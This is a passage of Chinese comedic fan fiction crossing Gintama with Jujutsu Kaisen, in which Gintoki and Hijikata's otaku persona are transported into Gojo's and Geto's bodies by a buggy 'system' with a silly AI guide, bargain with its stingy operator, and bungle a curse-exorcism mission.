就在坂田银时和土方十四郎耐心快要告捷的时候，小ai终于给出了自己的回答。
【欢迎来到，cos穿系统的秘密空间，我是你们的引路人，一款未来必定会响彻寰宇的人工智能——小ai】
ta选择重新开场一下，并且期待着面前的两个人类能够按照流程对话。
“其实你是个名字叫做人工智能的复读机吧？”
“别这么说，这对开发者多不礼貌。”
土方十四郎放下翻着白眼的宅十四，盘腿坐下，把刚刚叼反了的烟拨正，点燃：“ta只不过是个比较智障的人工智障… …啊，不是，人工智能而已。”
这么一打岔，空间内的火药味倒是被冲淡了不少，至少没有打起来的心思了。
于是坂田银时跟着盘腿坐下：“明明你说的话才更不礼貌吧？”
并不智能的人工智能再次将两人的对话当做回答录了进去，CPU再次飞速旋转，过了一会，最后还是只能徒劳地甩出自己的开场白。
不对这个小ai抱有任何期待的两人，干脆不管ta，直接把这不断重复着开场白的语音做背景音乐，开始了聊天。
“首先先告诉我，你为什么还要占用我的身体。”
宅十四颤颤巍巍地刚从地上爬起，就被这犀利的眼神吓住，往后缩了缩脖子：“是冲田前辈说，如果我能够占用你的身体一天，就答应让我能够见到我的女神。”
“什么女神？二次元的女神吗？确定这不是要送你去西天的意思吗？”
“怎么会呢，坂田氏，冲田前辈不是这样的人，他肯定是会找画手把我和女神画在一起。”
说到着，他害羞地扭捏了下身体。
阅历颇丰的坂田银时秒懂，他点了点头，总结了一下：“懂了，就是给你约梦男图。”
先不说冲田总悟会不会真的约梦男图，就算真的约了，梦男方用的什么形象，那把刀、肥宅形象还是土方十四郎的外表？
不管哪一个都很糟糕吧？
坂田银时拒绝想
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象那个画面。
接着他转头看向土方十四郎：“那你呢？怎么就这么轻易地被人占据了身体。”
“多半是用药物什么的，把我的意识被削弱了吧。我说怎么早上吃的那瓶美乃滋味道有点不对劲，比平时酸了0.001%，甜了0.0002%。不对，应该是口感涩了0.006%… …”
并不是很想知道美乃滋口味repo的坂田银时站起身，走到那个还在复读的屏幕面前，伸手敲了敲。
“不管怎么样，眼下我们还有个事情要解决吧？”
“‘cos穿系统’是吧？制作者肯定看过不少网文。”
“那系统在哪？不会是这个屏幕吧？哦！会不会是那个！触摸到就能传送到迷宫，然后认清自我，觉醒偏铝酸钠。”
坂田银时满怀期待地伸出手推了推，人没进去，屏幕倒是倒了。
很显然，这个屏幕在安装的时候，只顾着风格的时尚，并没有考虑到稳定性。
一阵雪花屏的声音响起，就在坂田银时担心是不是把东西摔坏了的时候，眼前终于出现了不一样的画面。
【喂喂喂，嗯？怎么画面里什么都没有？是不是你又偷懒出bug了？你这个月全勤没了。】
【嘤。】
原本复读着开场白的人工智能，终于传出了不一样的声音。
这十足十资本家味的话一下子就吸引了两人一灵的注意。
他们谨慎地看向了倒在地上，所以摄像头只能拍到纯白天花板的显示屏，互相推搡着靠近。
在无声的交锋中，率先落败的是真·没有人权的宅十四，他一张脸痛苦地挤在一起，闭着眼睛，壮着胆子探出头：“你，你你想干什么？”
【嗯？你谁啊？怎么连眼睛都看不到，你们不会拉错人了吧？你们一群人的年终奖都没有了！】
“真是听不下去了。”土方十四郎咂了咂嘴，“喂，从刚刚开始就像个葛朗台一样的大叔，这一切都是你做的吗？”
【嗯？对对对，就这个小眼睛对味了。】
“… …喂，如果你想被揍的话可以直说。”
【年轻人不要这么暴躁。】
坂田银时看到没有危险，也放心地凑了上去：“嗯？！这不是漫展那个自助餐厅遇到的，那个牛排很好吃的哥布林大叔吗？”
【什么哥布林！… …小鬼，如果你想被揍的话也可以直说。】
“你们竟然在漫展上就认识了？”土方十四郎想了想，惊疑不定地猜测，“不会举办这个漫展，就是为了找扮演‘五条悟’和‘夏油杰’的吧？”
屏幕对面淡定地吐出一圈烟，满脸沧桑地否定了这个猜想。
【不是，只是正好出了点茬子。】
坂田银时和土方十四郎对视一眼，虽然很想知道出了什么茬子，但如果说穿越是真的，那么果然首先要问的还是… …
“真正的五条悟和夏油杰去哪了？”
哥布林大叔沧桑的脸上，阴影肉眼可见的深沉了几分。
【估计正在哪个不知道名字的偏远星球上，穿着草裙，围着篝火跳舞呢吧。】
6. 第六章
为了让两人相信，哥布林大叔先是展示了下系统内所有的功能。
虽然几乎每一个都显示着“开发中”，但是当展示出“在这片空间通过幻想，食物就能出现在手中”这个功能时，两个人立马就相信了。
坂田银时蹲在自己幻想出的三层高大蛋糕前，对着哥布林大叔竖了个大拇指。
之后，对方简单说明了下现状。
因为他们员工的疏忽，在五条悟和夏油杰两人力量碰撞之下，生成了未知的虫洞，将他们带离了这个世界，传送到不知道什么地方。
虽然能够大致知道方位，但如同在浩瀚的宇宙中找到一颗小小的星球，还真不是一时之间就能办到的事情。
如果两人只是失踪一段时间，到也还好，至少想个办法能糊弄过去。
毕竟咒术师陷入咒灵的生得领域，失踪个十天半个月都是很正常的事情。
但偏偏，还有不久就到星浆体事件了，如果在这个重要节点上如果出了岔子，那可是会影响整个世界的未来走向的。
“不过穿着草裙跳舞？好像也不ooc啊。”
土方十四郎一脸恨铁不成钢地瞪了下坂田银时：“现在是o不oc的问题吗？”
他无视坂田银时“ooc拆开来读变成别的意思了！”的嚷嚷声，一手握住屏幕的边缘，把脸凑近摄像头的位置：“喂，葛朗台，我不管你这边出了什么茬子，我这边绝不能出茬子，抱歉，如果你想玩过家家扮演游戏的话，麻烦请找别人。”
【没办法，你不想做也不行，说实话，挑中你们，不能控制和预测你们的行为，还不知道会在异世界引起什么骚乱，怎么想都是我吃亏好吧？】
哥布林大叔嫌弃地扔掉嘴上烧了一半不到的香烟，很没有形象地踩了几脚。
【而且事情发生的很突然，就连这个cos系统也是当天赶工赶出来的，bug多，人工智能也很低能，更别说给你们用的穿越装置了，那是紧急调用的，一次性，单向通行，没想到还超载了。】
他看向OTAKU，很明显意有所指：【说实话，能成功把你们送到已经是件很幸运的事情了。】
这草台班子和破罐子破摔的作为，让土方十四郎眼前一黑，手上力道下意识加重，“咔擦”一声，屏幕的边缘裂开一道道缝隙。
“开什么玩笑！那为什么偏偏选中我们？！”
这个问题让对面沉默了几秒。
【我们只是把机器选中的对象，设定成漫展内夏油杰和五条悟的coser而已。】
他同情地看向处在失去理智边缘的土方十四郎。
【所以挑中你们只是碰巧，单纯的就是你们运气太差罢了。】
单纯的运气太差。
运气太差。
太差。
仿佛最后一击般，狠狠锤在土方十四郎的心口。
对面看着土方十四郎越来越黑的脸色，终于还是良心发现了一小下。
【不用担心，只要混过了他们不在的这段时间就行，到时候本人回归，自然而然就会把你们挤回原世界的。】
一直在边上旁听的坂田银时，从头到尾都不怎么担心。
眼看着土方十四郎僵在屏幕前，便上前一把薅开他，一双大眼睛凑了上去，问出最关心的问题：“喂喂喂，那我们做这些总会有点报酬啊，好处什么的吧？”
一说到利益，就戳中了哥布林大叔的雷区。
他立马尖酸刻薄地提高了嗓门：【给你们穿越到喜欢的漫画里难道不算福利吗？！你还跟我要好处？】
“哇啊，你竟然想要白嫖。怎么会有人比我还抠门！”
很遗憾，对于坂田银时来说，报酬同样也是他的底线。
他把整张脸凑近在摄像机前来回转动，试图以这种方式来威胁屏幕背后的哥布林吝啬大叔。
虽然在对方看来，坂田银时只是留下来一堆五条悟各个死亡角度的丑照而已。
“喂，大叔，我们已经不是那种高喊‘友情’、‘梦想’就能挥舞球棒战斗的好糊弄中二少年了，成年人之间只讲究实打实的利益啊利益。”
本着既然事已至此，那么至少不要让自己吃亏的原则，土方十四郎深吸口气，平复好心情在一旁搭腔。
“非法绑架公务人员以及良... ...良好市民，再加上非法强制劳动和薪水克扣。”他的眼神犀利地瞥向屏幕，“看来这位外星朋友想亲身体验一下我们真选组的大牢了？”
屏幕里沉默了一段时间，最后哥布林大叔小声嘟囔着一些话。
坂田银时从其他工作人员骤变的脸色里，推断出对方此时可能在说他们的一些坏话。
但是他不在意，毕竟对方的这个表现，很明显已经表示同意妥协了。
果然没等多久，屏幕里再次传来对方不情不愿的声音。
【好吧好吧，到时候给你们这个数，可以了吧？】
“当然不行！我家宠物一顿饭的花销都比这个数高。”
经过一连串的抬价和杀价后，最终报酬停在了一个双方勉强同意的数字。
哥布林大叔肉疼得不行，在屏幕后直吸冷气，好一会才缓过来。
【... ...你们既然拿报酬，那就一定要扮演好‘五条悟’和‘夏油杰’啊！一定啊！我会定期联络你们的。】
坂田银时打了个哈欠，冲他摆了摆手，示意自己知道了。
“对了。”土方十四郎用大拇指指了指OTAKU的自己，“我这个身体是什么情况，之前其实我尝试过夺回身体的主权，但是都失败了。”
【这个我们查过资料。】哥布林大叔装出一副十分专业的样子，【这个所谓的OTAKU模式，其实就是因为妖刀村麻纱，而引出的你的另一面，是吧？】
【但你也知道，我们系统有很多bug，简而言之就是，在穿越的一瞬间，系统把妖刀，或者说你的另一面，也当做了一个独立的个体。】
他脸上再次露出幸灾乐祸的神情：【而且很不幸的是，因为穿越时候身体的主导是这位，所以，系统就默认了他为主体。】
“也就是说，我现在只能呆在这片空间内了？”
【没错！】哥布林大叔一扫之前的郁闷，【想不想出去？想不想重新夺回主权？求我啊。】
“所以说，只要回到我的世界，这个情况就会消失是吧？”
土方十四郎淡定地抽了根烟：“那正好，我就在这等你们结束。”
【噶？】
“能不能再给点漫画、杂志让我打发下时间？啊对了，我是坚定的Magazine派，不要买错成了JUMP给我啊。”
坂田银时不满地嚷嚷：“喂喂喂，哪有这么光明正大偷懒的啊？社长！管一下啊社长！”
没想到碰上个硬骨头的哥布林大叔，气得爆出了满脑门的青筋。
最终咬着牙挤出一句话：【放心，我这就先全力寻找让你出去的办法。】
坂田银时和土方十四郎面无表情的对视了一眼，然后默契移开，心里是同样的想法。
这个大叔，意外的很好糊弄啊。
土方十四郎语气平稳地棒读着：“啊，糟了，怎么办啊，不想出去啊。”
哥布林大叔冷哼一声，看着两人随意的样子，再想想自己骤然消失的钱财和全程被牵着鼻子走。
愤恨又无奈地结束了这第一次会面。
随着这片空间的消
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失，坂田银时和土方十四郎各自回到了自己的房间。
坂田银时看了看自己手里显示着“GAME OVER”的游戏机，总觉得自己好像还忘记了什么，但是没纠结几秒就放弃了。
经过刚刚的大杀四方，他现在觉得自己强得可怕，于是决定和这游戏继续大战个三百回合。
不知不觉，窗外的天亮了起来。
坂田银时高举着“通关”的游戏界面，眼角流下一滴感动的泪水。
为自己的坚持不懈而感动的泪水。
然后头一歪，当场陷入安详的睡眠之中。
-----
夜蛾拿着上课要用的教案，走在教学楼过于宁静的走廊里。
他本来也不指望自己的两个问题学生，今天能老实的给自己上交任务报告，只是头疼他们又会嚷嚷着扯些什么奇怪的理由。
但毕竟相处了这么久，他差不多也快习惯了两人的不着调。
夜蛾站在教室门前，深吸口气，暗暗给自己打气。
你可以的，他们两个实力那么强，在性格上有些缺陷才是正常的，而且今天教室里这么安静，肯定是他们已经反省到自身错误了。身为教师，身为他们咒术师路上的引路人，你一定可以做好一个稳重的榜样的！
再睁开眼，他已经恢复了平时的冷静，然后动作利落地拉开木制的教室门。
只见不大的教室里，摆放着三套桌椅，其中两套空在那。
夜蛾感觉自己额角的青筋在熟练地跳动，此时两个罪魁祸首不在眼前碍眼，反倒是让他能强迫自己冷静下来。
他走进教室，双手撑在讲台上，墨镜下的眼神翻着点点怒火，不断地深呼吸。
往好点想吧，至少他班里还有一个好学生。
他看向撑着额头，低头看书的唯一好学生，放缓语气问道：“硝子，你知道那两个家伙一大早又做什么去了吗？”
“... ...”
“硝子？”
“嗯... ...嗯？”
“好学生”家入硝子抬起头，迷茫地看向夜蛾，然后“哧溜”一声，把流到嘴角的口水吸了回去。
“夜蛾老师你叫我？抱歉，我看书看得太用功了，没听见你说什么。”
“... ...”
原来看书的动作只是为了掩盖自己睡觉吗？
夜蛾两眼一黑，只觉得自己心梗快犯了，他努力安慰着自己：“算了算了，至少你来教室了。”
但是直接旷课的那两个人，决不能轻饶！
木质的讲台在他的手掌下“嘎吱”作响，发出散架前的悲鸣。
家入硝子看了看教室，再结合夜蛾的话，大概明白了老师生气的原因。
再想想自己刚才的行为，总感觉自己无意中好像给两个同期生拉了双倍仇恨。
“硝子，你先自习。”
说完这句话，夜蛾就迈着沉重（物理）的步伐，踏上了寻徒之旅。
家入硝子望着老师离开的背影，本着那么一点点的同学爱和一点点点愧疚，拿出手机，提前给两个人通风报信。
短信发过去半天，两个人都没有显示已读。
暗暗骂着“这两个人到底在搞什么鬼啊”，家入硝子打了通电话给相对更靠谱一点的夏油杰。
【对不起，您拨打的用户不在服务区，请稍后... ...】
家入硝子皱了皱眉，连忙拨打五条悟的电话，同样还是打不通。
这两人一大早跑去什么荒郊野岭了吗？
想不通的家入硝子纠结了三秒，最后合上手机，趴在桌上开始自己的第三轮入眠。
算了，她已经尽力了，那两人自求多福吧。
7. 第七章
呼呼大睡的坂田银时做了一个梦。
他梦到自己来到了一个城堡里，这个城堡里的居民都是各种味道的芭菲。
他拦下一个巧克力味的芭菲，流着口水问：“这里是哪？”
“芭菲？芭菲芭菲，芭菲！”
“哦哦，原来如此，芭菲芭菲。”
芭菲居民竟然真的听懂了坂田银时的话，他转头，用巧克力棒做的手臂，指向城堡中心的喷泉。
坂田银时看都没看一眼，张大嘴，对着芭菲居民就是一口。
他嚼吧嚼吧着，刚感慨“这个芭菲怎么没味道”，紧闭的城门就传来一阵阵震耳欲聋的撞击声。
“糟糕，难道我杀芭菲的事情暴露了吗？”
他从地面上捞起巧克力芭菲剩下的部分，痛心疾首地大喊：“巧克力！巧克力啊啊！你怎么就离开我了啊！我们还没有一起在草原上骑马奔驰，在花田间畅所欲言，我素不相识的挚友啊！”
渐渐地，周围聚集起城堡内所有的芭菲居民，大家哀痛着看着这一幕，摘下自己的冰淇淋尖尖，低头默哀着。
坂田银时大嘴一张，故技重施，趁着所有芭菲居民没有注意，像吸尘器一样将他们都吞到了肚子里。
“哈哈哈哈，这下这个芭菲城堡就是我的了，今后我就是这个城堡的芭菲王了！”
城门的撞击声愈发大了，但是坂田银时已经无所畏惧，因为此刻的他已经不是原来的他了！
“嘭”的一声，不堪重负的大门被打破，破裂的门板朝着坂田银时笔直地飞来，过于真实的疼痛让他“嗷”的一声睁开眼睛。
尽管意识还不是很清醒，但是一股寒气，从他的胳膊泛起，激起他一身的鸡皮疙瘩。
他看着压在自己身上的门板，胸口又闷又疼。
“五！条！悟！”
很快他就明白了现状。
尤其是当夜蛾正道沙包大的拳头砸向他的脸庞的那一瞬间。
今日的高专风平浪静。
因为在平常引起动荡的两位罪魁祸首，早早地被抓捕归案了。
坂田银时和宅十四双双跪在夜蛾正道的办公室门口，每个人头上顶着几个大包，手上拿着一个牌子，上面歪歪扭扭地写着字。
左边一个“我不该赖床迟到”，右边一个“我不该躲宿舍不上课”。
虽然夜蛾正道希望通过这种方式让两人认识到自己的错误，但很遗憾注定不会有成效。
坂田银时跪了一会就感觉膝盖疼，于是本着苦了什么也不能苦着自己的原则，丝滑地改成盘腿坐在了地上。
他单手拿着手里的牌子，朝着自己脸上扇了扇风。
然后转头看向身边的难兄难弟。
忍不住“噗嗤”笑出声。
“夏油杰同学，建议你深刻反省下自己，本来眼睛就不大，现在包又在脸上，把眼睛都盖住了，走路看不见路撞到老奶奶怎么办？”
宅十四一怒之下，怒了一下。
嘟囔着嘴，丝毫没有威慑力地反驳着：“我有两只眼睛… …话说回来，坂田氏才是，半夜偷摸去做了离子烫吗？现在的头身比相当不妙啊。”
“？”
坂田银时慌张地摸向自己的头顶，没摸到昨日的顺滑发丝，只摸到里三层、外三层，活像清洁球的卷发。
曾经，他天真地以为自己得到了直发的永久皮肤，谁知道只是个半天的体验卡。
“不！！”
他愤恨捶地，为什么，世上顺直发的人那么多，为什么不能多他一个。
庵歌姬听到两人罚跪，拽着家入硝子来看热闹。
看到两人一个赛一个惨的脸，毫不留情地大笑：“哈哈哈哈，你们两个也有今天。我要拍下来发到高专群里，给所有人看看。”
说完便掏出折叠手机，上蹿下跳地找角度。
宅十四羞红了脸，下意识地捂脸，却因为碰到伤口，“嗷”地一声嚎了起来。
坂田银时还沉浸在失去直发的痛苦中，双眼失去高光地盯着地面，嘴里自言自语着什么“要不冲到三次元，逼那个猩猩重新画一遍漫画吧”。
家入硝子很没有同学爱的也拍了几张，然后随口问道：“你们两人今天怎么回事？电话也打不通。”
“电话？”
坂田银时和宅十四很默契地同时眨了眨眼，脸上是一模一样的茫然。
然后开始旁若无人地咬耳朵。
“不会吧不会吧，穿越的时候手机也会一起跟着穿吗？”
“很有可能吧？毕竟是带在身上的东西。”
“诶？一般穿越不是不能带走不同时空的东西吗？”
“那不行的吧？那身上衣服不是也带不走吗？难道他们要裸着出现在陌生的地方吗？那不就变成限制级作品了吗？虽然最近JUMP漫画喜欢走黑深残路线，但是这个底线还是要有的吧？”
坂田银时沉默了一下，双手抱胸，接着严肃地抬眸看向宅十四：“其实突破这个底线也不是不可以。”
“… …你在说什么？给我对所有热血漫画道歉。”
这么点距离，对于咒术师来说，两人的悄悄话能够听得一清二楚。
家入硝子耐心听着，完全不知所谓。
话题是怎么转到穿越再转到热血漫画的？这两个家伙被夜蛾正道锤的时候，顺便把脑子一起锤出来了吗？
她无语地用舌头转了圈嘴里的棒棒糖：“然后呢，商量出结果了吗？”
坂田银时像小学生上课回答问题一样高举手臂：“回答老师，应该是被吃了！”
“嚯，谁能从你们这对最强组合手里抢东西啊？真有本事。”
“报告老师。”宅十四跟着举起手，“是一个胸肌异常发达、长相极其凶恶，脸上还有疤的大猩猩！”
“啊对对对，据他所说，是因为吃腻了香蕉，不在香蕉中爆发，就在香蕉中死亡，所以他变态了！立志在这个世界创造出新的大猩猩种族，和智械结合，合成金色钢铁猩猩，简称金钢！说着他就把我们的手机吃下去了！”
编得越来越离谱，完全就是一副不想解释的模样。
家入硝子微妙地感觉，自己的同期从某种角度来说，好像变得比以前更棘手了。
一旁的庵歌姬听了会两人的漫才，嫌弃地撇了撇嘴：“这故事三岁小孩都不会信吧？”
“诶，是吗？”宅十四挠了挠自己后脑勺松松垮垮的丸子，一脸真诚，“还以为歌姬会信的来着。”
“你看不起谁呢？！人渣！两个人渣！”
庵歌姬一秒破防，她手指飞速舞动，无情地把照片发到咒术界各个群。
家入硝子感受着手里震动不断的手机，努力在里面翻找着：“辅助监督找不到你们，让我带个话，有新任务给你们了，他十点半在校门口等你们，别忘了啊。”
她把费劲翻到的信息举给两人看，然后轻轻拍了拍怒火中烧的庵歌姬。
“好了好了，前辈，不气，这两个人一直都这样，不要理他们，我们去逛街吃点好吃的。”
“硝子！”庵歌姬一把抱住家入硝子，“高专二年级没你不行啊！走吧，感觉再待下去就要被感染成笨蛋了。”
家入硝子被拉着向前走，抽空回头对两人说：“别忘了任务啊。”
坂田银时和宅十四一跃而起，一点都不客气地打开夜蛾办公室的大门。
“啪”的一声，声音不大，却成功让满脸喜悦的两人瞬间变成面无表情。
就算是来自异世界的他们，DNA里也被牢牢地刻上了对班主任的恐惧。
夜蛾正道闭眼深呼一口气，把手里被自己捏成两段的钢笔扔到垃圾桶里。
“我已经听到了，你们先去做任务，回来之后每人写一千字检讨，再补上昨天的报告。”
坂田银时/宅十四：“是！”
等他们晃晃悠悠，磨蹭到山下时，家入硝子和庵歌姬早就离开了。
只有一个辅助监督渡边，穿着齐整的西装，站在和衣
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服同色的黑色汽车前，耐心等待着。
他满脸公式化的笑容：“两位就是五条同学和夏油同学吧？请上车，我载你们去任务地点。”
坂田银时看了看周围，不是山就是树，荒郊野岭，别说人，车都少。
他对宅十四使了使眼色，背对着辅助监督做了一个“任务”的口型，然后双手比了一个叉。
宅十四了然地点了点头。
于是两人先配合着钻进了车内。
等到车开始启动，坂田银时朝着驾驶座探出头，想要动用自己的口才忽悠辅助监督换个目的地。
比如小钢珠店，他就觉得不错。
-----
坂田银时和宅十四是被辅助监督摇醒的。
他们一脸茫然地看着车外的废弃大楼，几只乌鸦站在从水泥里露出的钢筋上，歪头看着他们。
给他们干哪来了？这还是东京吗？
莫名有种玩游戏时屏幕一黑，再亮起时已经移动到下一个地点的感觉。
他还有一肚子的说辞没说出来呢？怎么还没开始就已经结束了。
这么不自然的现象，原因怎么想也只有那一个。
【喂，那什么小ai，是你做的吧？】
【嘟嘟，人家不知道你在说什么。】
宅十四一脸震惊地看了过来，很显然坂田银时在脑内的对话他也能听见。
他也尝试着在内心说着：【你，你怎么好像昨晚不太一样？】
【嘟嘟，被发现啦（害羞）人家连夜升级了嘟嘟。】
坂田银时先是为通宵打代码的程序员们的发囊默哀了一秒，然后格外嫌弃地说着：【能不能不要发出这种可怕的嘟嘟声了？路边夹着嗓子逗猫的醉酒大叔都比你这个可爱。】
【嘟嘟，人家听不懂嘟嘟。】
【你……算了，我们睡这么死，是你做的吧？】
【回答对啦嘟嘟，可惜没有奖励嘻嘻。】
如果昨晚那个显示屏此刻出现在自己面前，坂田银时相信他一定会一拳打上去。
而系统则像是完全感受不到两人的愤怒，继续自豪地说着：【系统检测到宿主内心活动关键词‘逃任务’、‘小钢珠’、‘丢下同伴’，于是自动开启防范措施嘟嘟。】
【内心想法都要监视吗？！这是侵犯我隐私吧喂！】
【坂田氏竟然想抛下我一个人出去玩。】
坂田银时毫不心虚地瞪了回去。
辅助监督渡边看着自醒来就沉默不语，但脸上表情极速变化的两人，手心里慢慢出了汗。
他得罪这两个人了吗？为什么都不说话？天才们的心思真的好难猜啊。
在站着等待的那几分钟，他连辞职信和谢罪信的内容都想好了。
被“嘟嘟”魔性贯耳的坂田银时注意到杵在一旁的辅助监督。
虽然他更想夺走方向盘，在这片土地上上演一出速度与激情，逃离任务，逃离咒术界。
但只要有这个系统在，就不会放任他们这么做，万一到时候刚踩油门就一头睡过去，咒术界的最强就要死于车祸了。
思来想去，最后决定有什么还是之后再说。
他转头看向辅助监督背后的大楼，问：“那什么岸边，咒灵就在这栋楼里？”
辅助监督猛地回神，专业素质过硬，嘴角扬起的角度都没有变化。
“是的。顺便一提，我叫渡边。”
坂田银时大大地叹了口气，用胳膊肘捅了下宅十四：“走吧，早点完工早点去打小钢珠。”
辅助监督侧身让开，努力让自己忽视掉未成年人想要赌博的这一违法行为。
“那我就开始布置帐了。”渡边食指中指并拢，轻声念着，“由暗而生，比黑更黑，污浊残秽，皆尽祓禊。”
黑色的帐如同墨水一般在楼顶的天空处撒下，不一会就笼罩住了整个楼。
“祝武运昌隆。”
渡边微微欠身，目送坂田银时和宅十四走进了帐中。
8. 第八章
坂田银时和宅十四一脸新奇地看着布帐的全过程，在踏入帐的一瞬间，两人同时感觉到周遭的景色暗沉了下来。
同时身上感受到了一股阴冷的气息。
“看起来，咒灵好像在楼上？”
刚睡醒的坂田银时此刻精神抖擞，他迫不及待地想要试一试无下限术式的威力。
“好、好像是的。”
和坂田银时相反，宅十四十分不安，他下意识用右手抱紧了自己的左臂，小眼睛左瞟右瞟。
“那个，坂田氏，要不我就在这里等你吧？”
“那怎么行！没有观众我英勇的身姿不就没人赞美了吗？！”坂田银时微微下拉自己脸上的hellokitty墨镜，露出苍青色的眼睛，“因为这个眼睛，我可是每一分每一秒都难受得不行啊喂，怎么说也得让我爽一把吧？”
宅十四为难地看着坂田银时，扭捏着身体，嘟着嘴小声但飞速吟唱着什么。
被咒力强化的身体很清晰的听到了内容，对方是在一条条列出自己不想去的理由，但坂田银时通通当做没听见。
看打感情牌没用，于是就换个角度忽悠。
他揽过宅十四的肩膀，一脸“我为你好”的表情：“你想想啊，我们要是分开，那个咒灵绕过我直接找你的话怎么办？这楼这么高，万一到时候我没来得及赶过来，那就只好让你一个人面对咒灵了哦。”
宅十四咽了咽口水，抬头看向十几层高的楼，内心开始动摇。
“我可是最强哦，还有什么地方比我身边更安全的吗？”
“… …好。”
“耶！”
坂田银时虚空比了比，思索了下，转头朝着来的地方跑了回去。
因为做任务的是咒术界的最强组合，所以辅助监督简单的设置了一个“禁止普通人进入”的帐，并不会限制坂田银时和宅十四的出入。
此时，安静等待的辅助监督，突然看到进去没一分钟的坂田银时从帐里探出头，朝着他伸出手。
“那个，边里同学，能不能借一下你的手机？”
“渡边谢谢。”
辅助监督内心吐槽着，明明渡边这个姓更常见来着，为什么会记错。
面上却没有流露出任何不满，理由也没有问，直接将自己的手机递给了坂田银时。
坂田银时道声谢后，快步跑了回去，将讨来的新鲜手机递给宅十四。
“等会一定要把我英武的身姿给拍好啊！”
“… …哦。”
宅十四沉默了一下，答应了，不过拍出来是什么样子，就不归他管了。
找到咒灵花的力气比他们想象的要小很多，几乎没有费什么劲，就在中上部楼层看到了一个触手上长满眼睛，勉强能说是章鱼形状的咒灵。
咒灵用触手上的吸盘，将自己牢牢地粘在天花板上，喇叭形状一样的嘴复读机一样重复着：“海鲜，好贵，便宜点啊！”
“这里以前是个什么海鲜市场吗？话说，这个章鱼长得和从某些R18重口本里出现的主角似的。”坂田银时扭过身，满眼发亮地看向宅十四，“你先找个好角度，一定要拍出我祓除咒灵最帅气的一瞬间啊！”
宅十四用力地点了点头，对着坂田银时竖了一个大拇指，就跑到斜后方一个倒了的柱子后蹲下。
这两人看着不像是来祓除咒灵的，倒像是来旅游景点拍照的游客。
看着摄影师已经就位，坂田银时朝着咒灵上前一步，拿下墨镜一甩头，头发像是被拍了下的篮球，颠了几下。
好在他心理素质过硬，依然高傲地四十五度扬起头颅，斜看向咒灵。
“你就是这次需要被祓除的咒灵？虽然对于你喜欢吃海鲜却吃不起的事情感到很遗憾，但是身为正义使者的我，不能放任你… …”
话还没说完，咒灵长长的触手就甩了下来，擦着坂田银时的鼻尖，在地上划下一道深深的划痕。
“喂喂喂！主角开战前放话环节是不能打断的你知不知道！你这个不讲武德的臭章鱼！”
回应他的是咒灵再一次攻击。
坂田银时灵活躲开：“既然这样，我也就不客气了。”
他伸出右手，并拢食指和中指，比出一个标准的“赫”的起手式。
红光在他指尖聚集，带着毁灭一切的气息，发丝随着力量的汇聚无风自动。
咒灵浑身的眼睛猛地睁大，本能地感受到了危险，他大吼一声，从喇叭型嘴里发出一声没有威力的“卟卟”，冲向坂田银时。
坂田银时得意地咧开嘴，声音百转回肠，一曲多折地说出那句：“术式反转——赫。”
一道红光闪过，无事发生。
坂田银时难以置信地看向指尖，冷汗直流，强迫自己冷静下来。
“没关系，肯定是现在五条悟的实力还不允许使用赫，那这招怎么样！术式顺转——苍！”
在众目睽睽之下，他张开的指尖终于不负众望的出现了... ...一团蓝火。
这次的情况倒是比刚刚好了不少，但是出现的这点火光估计也就够点一次烟用的。
看着近在咫尺的咒灵，坂田银时眨巴了一下眼睛：“大哥，要抽烟吗？”
然后就被无情地拍飞了出去。
毫不留情的一击让他在空中360度旋转了好几圈，途中撞断了几根柱子。
堆积的灰尘被扬起，一时间看不见坂田银时的身影，不知道对方是死是活。
咒灵顿了一下，然后果断选择了距离自己更近的宅十四。
宅十四看着对方舞动的数十张眼睛，不知道该直视哪一双才显得更礼貌一点。
眼瞅着对方越来越近，他连忙高举手里的手机：“… …那个，我只是个平平无奇的战地记者。”
镂空的玻璃窗外，阳光平等地照射进了这栋废弃大楼，在它数十年如一日不变的射击弹道中，今日突兀的出现了一个玻璃制品——手机的屏幕。
在这个三体人没有降临，物理学还存在的世界，这道照在手机上的光，以非常科学的角度反射出去，却很不巧地照在了咒灵其中的一只眼睛上。
这宛如挑衅一般的行为激怒了咒灵，它再次发出“卟卟”声，用尽力气舞动着全身的每一块肌肉。
宅十四面如死灰，他快速合上手机，将头深深嗑在地上，以一个非常标准的土下座姿势，躲过了迎头一击。
“非常抱歉！我不知道您这么在意自己的肖像权，真的非常抱歉！我会删掉的，所有包含您画面的视频我都会删掉的！请务必饶我一命啊啊！”
智力低下的咒灵听不懂宅十四的话，只觉得自己被面前这个人类，以一种戏弄的姿势给逗弄了！
它加速挥舞着触手，将整栋楼拍的轰隆作响，然后趁着宅十四呆愣原地的空档，用尽吃奶的力气拍飞了他。
灰尘再次扬起落下，装死的坂田银时身边又躺了一个宅十四。
索性现在这幅身体的素质强悍，再加上有咒力保护，两人虽然感觉很疼，但也没受多大伤。
坂田银时怒目圆睁，对着宅十四小声地说着：“去去去，不要把怪的仇恨值拉到我这里啊喂！”
宅十四充耳不闻，满眼满心都是面前的咒灵：“坂坂田氏氏，怎，怎么办啊！它过来了！过来了！”
“所以让你不要呆在我这啊混蛋！”
轰隆声再次在他们周围响起，不堪重负的楼板最终还是塌了，两人连着咒灵一起体验了一把自由落体。
站在帐外的辅助监督渡边虽然看不到里面的场景，但是一阵阵宛如地震的
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震动还是难以忽视的。
他早就听闻这两个天才少年做任务时很肆意，拆个楼什么的都是小事，导致跟着他们的辅助监督往往要处理成堆的善后工作，被内部称为“加班祸源”。
但好在这次任务地址是在废弃大楼里，平时没有什么人使用，所以理由也很好编。
不过。
他回头看了看半圆形的帐。
区区一个三级咒灵，这两人是不是进去的太久了点。
和渡边想的不一样，帐内的两人此时正在大逃亡，在一个三级咒灵的手下大逃亡。
“坂田氏，你不是说给我看你的英姿吗？你的英资指的就是和我一起逃跑吗？”
“啰嗦！谁知道这个什么无下限这么难用啊！银桑我多少年没有用脑子了你知不知道！再说你呢？无敌的宝可梦训练师快点把你的宝可梦收服啊喂！”
“我怎么知道怎么收服啊！而且我手里现在没有送的初始宝可梦，就和普通人没有什么区别好吧！”
咒灵紧紧跟在两人身后，原本灵活的触手，在狭窄的楼道中反而显得有些臃肿，跑着跑着就容易打结。
它看着离自己越来越远的猎物，脑子里只想着好饿，那两个人真的看起来好好吃，眼泪忍不住从嘴角流下。
但是同时也很气，自己之前被他们戏弄，现在还追不上他们。
就和热血漫画里遇到强敌陷入苦战就会进化的主角们一样，这只咒灵它突然觉得脑门清明，突然悟了。
它气沉丹田，将力量汇集于嘴部，然后一齐释放。
那张嘴，不再是没有任何用处，只能发出搞笑的“卟卟”声的废物嘴了，它进化出了新的攻击，朝着坂田银时两人发射了出去。
